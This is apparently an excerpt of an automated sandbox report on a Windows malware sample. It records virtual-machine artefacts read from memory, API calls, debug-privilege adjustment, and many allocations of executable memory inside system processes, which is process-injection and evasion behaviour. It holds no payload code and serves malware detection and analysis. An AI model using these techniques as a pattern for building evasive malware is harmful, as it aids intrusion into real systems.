      Source: explorer.exe, 00000011.00000002.611089874.0000000007166000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
      Source: SearchUI.exe, 00000014.00000002.598318462.000001C5DAE44000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware vsphere client*|vp5534
      Source: explorer.exe, 00000011.00000003.359643119.0000000009054000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&0000001 ZG
      Source: SearchUI.exe, 00000014.00000002.598318462.000001C5DAE44000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware workstation 12 player*|vmplayer5018
      Source: SearchUI.exe, 00000014.00000002.598318462.000001C5DAE44000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware vsphere client*|vcenter5892
      Source: svchost.exe, 0000000F.00000000.307150310.00000170BD900000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.563760336.00000170BD900000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@
      Source: SearchUI.exe, 00000014.00000002.598318462.000001C5DAE44000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *|vmware workstation 12 player*|vmplayer5018*|voice recorder*|sound recording7522vb2116*|voice recorder*|sound recorder3824063383
      Source: explorer.exe, 00000011.00000000.323967926.00000000090D8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}.exe,-4000
      Source: explorer.exe, 00000011.00000003.359643119.0000000009054000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess information queried: ProcessInformationJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00421157 VirtualQuery,GetSystemInfo,VirtualAlloc,VirtualProtect,0_2_00421157
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0052DF60 InitializeCriticalSection,GetModuleHandleA,GetModuleFileNameA,GetFullPathNameA,GetModuleHandleA,GetProcAddress,GetLongPathNameA,CharUpperBuffA,GetShortPathNameA,CharUpperBuffA,CharUpperBuffA,GetFullPathNameA,CharUpperBuffA,FindFirstFileA,lstrcmpi,CharUpperBuffA,FindNextFileA,FindClose,0_2_0052DF60
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00535236 GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00535236
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00421157 VirtualProtect ?,-00000001,00000104,?0_2_00421157
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00533EEC SetUnhandledExceptionFilter,0_2_00533EEC

      HIPS / PFW / Operating System Protection Evasion

      barindex
      Allocates memory in foreign processes
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 900000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: FF0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 2D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: CF0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 850000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 420000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 570000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 3860000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: FA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 120000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 400000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 670000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 7D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: B60000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 540000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 750000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 760000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 500000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 510000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: CD0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: CE0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 3A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 3B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F80000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F90000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B90000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 970000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 980000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 370000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 380000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EE0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EF0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F60000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: D00000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: D10000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 700000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 710000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BD0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BE0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E20000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E30000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 770000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1170000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1180000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B60000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F50000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F60000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F80000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F90000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1020000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1030000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EC0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: ED0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 620000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1400000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1450000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A10000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A20000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F30000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F40000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1020000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1030000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1060000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1070000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EE0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EF0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 14F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1500000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F80000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F90000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 8F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 900000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BC0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1020000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1030000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EC0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: ED0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: FA0000 protect: page execute and read and writeJump to behavior
